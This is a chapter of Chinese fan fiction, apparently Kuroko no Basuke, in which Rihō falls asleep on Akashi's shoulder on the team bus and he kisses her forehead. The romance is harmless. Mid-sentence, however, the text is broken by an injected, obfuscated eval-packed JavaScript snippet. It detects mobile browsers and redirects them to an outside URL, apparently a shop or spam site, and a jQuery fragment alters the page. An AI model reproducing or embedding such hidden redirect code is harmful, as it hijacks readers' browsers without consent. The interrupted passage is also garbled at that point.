区域赛第二周，理穗如愿以偿，可以与大家并肩而立，置身赛场之中。
清晨，她站帝光中学校门口，天刚亮透。晨光软绵绵的，像一层薄薄的金色纱巾从幕后一点点扯出来，朦胧的盖在操场上，盖在教学楼上，盖在那辆白色大巴的车顶上。
理穗背着书包走向集合地点，远远就看见赤司站在大巴门口，手里拿着一瓶水，在和教练说着什么。他今天穿的是帝光的白色运动外套，拉链拉到胸口，露出里面白色的训练衫。
晨风吹过来，把他的刘海吹起来又放下，像一只不知疲倦的手在拨弄他的头发。
他看见她了。赤司的目光从教练身上移开，落在她身上，温和的停了一会儿。然后他低下头，继续和教练说话。
桃井从身后跑过来，一把抱住理穗的胳膊。
“你终于来了！上次没有你，我一个人在场边都感觉紧张的不行了。”
“我倒觉得你不是紧张，是兴奋。”
理穗面上虽然看着很平静，实际心里也特别紧张，这还是她第一次到正式赛场上，虽然对大家抱有必胜的信心，但也还是忍不住紧张和担心。
桃井听到理穗的话轻轻眨了眨眼，狡黠地弯起唇角，然后两个人一起上车。
大巴车里，队员们已经散坐在各个位置。
青峰靠在窗边，耳机塞在耳朵里，头一点一点的，像是快睡着了又没完全睡着。
绿间坐在他后面，手里拿着今天的星座运势，巨蟹座，幸运颜色白色，幸运位置东南方。他看了一眼窗外的太阳方位，满意地点了点头，今天的幸运物是一只白色的狐狸玩偶，绿间将它小心地放在放在膝盖上。
紫原占据了最后一排的整个座位，横躺着，嘴里嚼着美味棒，眼睛半睁半闭。他的座位旁边堆着三两个空的零食袋。
黑子坐在紫原斜前方，手不自觉的整理摩挲手腕上的护腕，安静地看着窗外发呆。
理穗和赤司坐在一起，上车没多久她的眼皮就开始打架了。昨晚她整理资料数据到凌晨一点，反反复复，兴奋的有些睡不着，像春游前的小学生，今早又比平时早起了半小时。她走到赤司旁边的座位坐下，把书包放在脚边，随着汽车开动，然后她的头就开始一点一点地往下坠。
“昨晚几点睡的？”赤司的声音从旁边传来，专注的看着理穗。
“十点。”理穗说着，她的眼睛已经闭上了。
“你每次说慌的时候，感觉眼睛会往左下角看。”赤司说，“你现在闭着眼睛，我看不见你往哪看。”
理穗听闻，嘴角微微弯了一下。“那你就不知道我说没说谎了。”
“我知道。”赤司说，“你的声音在说谎的时候会变轻。”
理穗想睁开眼睛反驳他，但眼皮太重了。重得像灌了铅。她听见赤司轻轻叹了口气，一种“真拿你没办法”的语气说，““睡吧。”
理穗想说“我不困”，但她的身体比她诚实。
她的意识渐渐模糊，头慢慢地、慢慢地往右边歪过去。先是靠在座椅的头枕上，但头枕太硬了，硌得太阳穴不舒服。
她的头又往右边歪了一点，然后靠上了一个柔软的地方。是赤司的肩膀。理穗的意识在那一瞬间清醒了一下，她靠在他肩上了。
她想坐直，想说“对不起”，但她的身体不肯动。因为太舒服了。赤司的肩膀比看起来要宽，肌肉比看起来要软，温度比看起来要暖。洗衣液的清香混着纸墨的味道，慢悠悠地钻进她的鼻子里，像一首没有声音的摇篮曲。
她闭上眼睛。那短暂的清醒，也在接下来的五秒之内消散得无影无踪。
赤司没有动。
理穗的头靠在他右肩上的时候，他的右手正放在扶手上。
他的第一反应是把手拿开，倒不是因为他不想让她靠，是因为他不知道手该放哪。放在扶手上，会被她的手臂压到。放在膝盖上，太远了，他转不了身。
最后他把手放在了两个人之间的座椅上，掌心朝上，手指微微蜷着。像在等什么。或者像在握什么。
理穗的呼吸变得均匀而绵长。她的睫毛很长，睡着的时候在眼下投下一小片扇形的阴影。她的嘴唇微微张开，像一朵还没完全绽放的花。她的头发散在肩上，有几缕滑到了他的手臂上，痒痒的，像春天的小虫子爬过皮肤。
赤司保持着微微向□□斜的姿势。他的右肩比左肩低了大约五厘米，为了让她的头靠得更舒服。
没一会儿。他的脖子开始酸了。他的右臂开始麻了。他的腰开始僵了。但他都没有动。因为他怕自己一动，理穗就会惊醒。
车厢里很安静。青峰在后排打呼噜，紫原在嚼薯片，绿间在翻星座书，黑子安静地看着窗外。没有人注意到前排的这一幕——除了桃井。
桃井坐在后排斜对过，手里拿着资料，但一个字都没看进去。她的眼睛一直盯着前排那两颗靠在一起的头。一颗红色的，一颗浅褐色的。她的内心在尖叫。声嘶力竭地尖叫。但她的嘴巴闭得紧紧的，因为她怕自己一开口就会喊出“好甜啊啊啊啊”。
她旁边的青峰被她攥紧了扶手的手吓醒了。“你干嘛？”
“没事。”桃井从牙缝里挤出两个字，“看资料。”
“资料拿反了。”
桃井低头一看，果然，反了。她把资料翻过来，继续看。但她的眼睛还是盯着前排。
大巴驶入了一段不平整的路面。车身颠簸了一下，理穗的头从赤司肩上滑了下来。
赤司迅速抬起右手，稳稳地托住了她的头。他的手掌贴着她的脸颊，她的皮肤有些凉，像一块羊脂玉，他把她的头轻轻放回自己肩上。
他们此刻是如此接近，近的能感觉到理穗睡觉时的呼吸，能感觉到她的体温，能感觉到她呼吸时背部的起伏。
一下，一下，又一下。像海浪，像赤司自己的心跳，像某种他无法命名的节奏。
理穗在睡梦中轻轻哼了一声。不是不舒服，是那种“被触碰后本能反应”的哼。赤司的手停了一下。然后他开始轻轻地拍她的背。不是刻意的，是身体自己不自觉的动起来。一下，一下，又一下。力度很轻，轻到几乎感觉不到。但理穗的身体放松了。她皱着的眉头舒展开了，她微微抿着的嘴唇松开了，她的呼吸变得更沉、更稳、更安心了。
赤司看着她的睡脸，忽然想起一件事，他从来没有这样专注地看过一个人。看她睡着的样子，看她呼吸的节奏，看她睫毛的弧度，看她嘴角那个只有在完全放松时才会出现的、微微向上的弯。
心脏有些不受控制的乱跳。他想：原来这就是“喜欢”的感觉，甚至偶尔会生出想让时间停在这一刻。想让这辆车一直开下去。想让她一直睡着。想让他一直这样看着她。
大巴驶入了一条长长的隧道。
窗外的光线骤然暗下来。车厢里陷入一片昏黑，只有车顶几盏昏黄的小灯亮着，在每个人身上投下暖橙色的光晕。
理穗的脸在这片光晕里显得格外柔和。她的皮肤被灯光染成了蜜色，她的嘴唇看起来像熟透的桃子，她的睫毛在脸颊上投下的阴影比刚才更深了。
赤司低下头。只是想确认一下理穗状态，没想到突然他的额头贴近她的额头，两个人的呼吸交织在一起，温热而潮湿。她的鼻尖碰到他的鼻尖，凉凉的，像一片落在皮肤上的雪花。
他犹豫了一秒。然后他的嘴唇轻轻的落在了她的额头上。
轻轻的，像一片羽毛从空中飘落，刚好落在那片光洁的皮肤上。他的嘴唇贴着她的额头，停了不到一秒。但他感觉到了她的体温，她的呼吸，她皮肤下血管里流动的、年轻的、鲜活的生命。
赤司默默地在心里说了一句话。
“有我在，别怕。”
大巴驶出隧道。光线重新涌入车厢，像潮水一样淹没了每一个角落。
赤司直起身，坐正了。他的耳朵红红的。但他的表情很平静，平静得像什么都没发生过。
理穗的眼皮动了一下。她快要醒了。
赤司的手还扶在她背上。他轻轻拍了两下，像在安抚一只快要醒来的小猫。
“还没到。”他低声说。声音很轻，轻到只有她能听见。理穗的眉头皱了一下，又松开了。她的呼吸重新变得均匀。她又睡着了。
赤司把手从她背上收回来，放在扶手上。他的手指微微发颤。不知道是因为紧张还是因为刚才那一秒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530723|203684||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，他的心跳太快了。快到他的身体还没反应过来。
“理穗。理穗。”
赤司的声音从很远的地方传来，像隔着一层水。理穗慢慢睁开眼睛，看到自己的状态，理穗猛地坐直了。她的脸在一瞬间红到了耳根。
“对、对不起——”
“没事。”赤司活动了一下僵硬的右肩，动作看起来很自然，好像只是坐久了活动一下筋骨。
但理穗注意到，他的肩膀保持那个微微倾斜的姿势至少保持了二十分钟。因为他的衬衫上有一道折痕，在她靠过的位置。
“你为什么不推开我？”理穗的声音很小，羞愧极了。
“为什么要推开？”
“因为……”理穗想说“因为很重”，想说“因为很丢人”，但她什么都没说出来。因为赤司看着她，眼神很平静，平静到像在说一件理所当然的事。
“你睡着了。”他说，“没睡醒的话叫醒你会更难受。”
“你怎么知道？”
赤司接着说，“你在教室里午睡的时候，被叫醒会有起床气。虽然你不说，但你的嘴角会往下撇。”
“这样吗？”理穗张了张嘴。她想说“你连这个都观察到了”，但话到嘴边变成了一句：“……我的嘴角没有往下撇。”
“刚才撇了。”赤司说。理穗下意识地摸了摸自己的嘴角。没有，平的。她抬起头，看见赤司的嘴角有一个很小的弧度，他在逗她。
理穗瞪了他一眼，但她的嘴角还是忍不住往上弯了一下。
“到了？”她问。
“到了。”赤司站起来，侧身让她先过。过道很窄，她经过他身边的时候，听见他说了一句：“额头，刚才。”
理穗停下脚步，转过身疑惑地看着他。“什么？”
赤司看着她的额头，那个他嘴唇落下的位置。那里什么都没有。没有痕迹，没有印记，没有证据。但他知道那里有过什么。他的嘴唇知道。她的额头知道。
“没什么。”赤司说，“走吧。”
理穗看了他一眼，转身走了。但她走了两步之后，伸手摸了摸自己的额头。
这里好像是有什么感觉，说不清。像一阵很轻很轻的风，从很久很久以前吹来，刚好落在她的皮肤上。她的嘴角微微上扬。
赤司跟在后面，看见了。
理穗走在前面，脚步比平时轻快了好多，走进体育馆，桃井从后面跑过来，一把拉住理穗的手。
“理穗！你刚才在车上睡着了！”
“嗯。”
“靠在赤司君的肩上！”
“……嗯。”
“你把他的衣服都睡皱了！”
理穗的耳朵红了。“……你看见了？”
“我全程都在看！”桃井激动得声音都变了，似捂非捂的遮掩着嘴，“你们俩——他——你——然后他——天哪——”
理穗伸手捂住了桃井的嘴，急的脸都红了。食指竖在自己嘴唇前“嘘……保密。”
桃井在她手心里笑了好一会儿，然后拉下她的手，认真地看着她。“理穗。”
“什么？”
“赤司对你可真好。有种感觉……他把你放在他自己前面的好。”
理穗低下头，看着自己的手。她的手心还有桃井嘴里的温度。但她更记得的，是刚才在车上，那只放在她背上的手。一下，一下，又一下。是安慰，是“我在”。
“嗯。”理穗说，“我知道。”
进入球场，观众席上已经坐了不少人，各校的校服在灯光下汇成一片彩色的海洋。
时间到，帝光中学的球队进场。
理穗的目光扫过球场，帝光中学的队员正在热身。青峰在练习上篮，绿间在投三分，紫原懒洋洋地站在篮下伸手够球，黑子在角落里做拉伸，存在感依然低得惊人。
然后是赤司。他站在教练身边，正在看战术板。衣服披在身上，赤色的头发在灯光下泛着冷艳的光泽。他似乎感觉到了什么，抬起头，目光穿过半个球场，准确地找到了理穗。
两个人的视线在空气中撞了一下。
理穗微微点头。赤司也微微点头。
然后各自移开。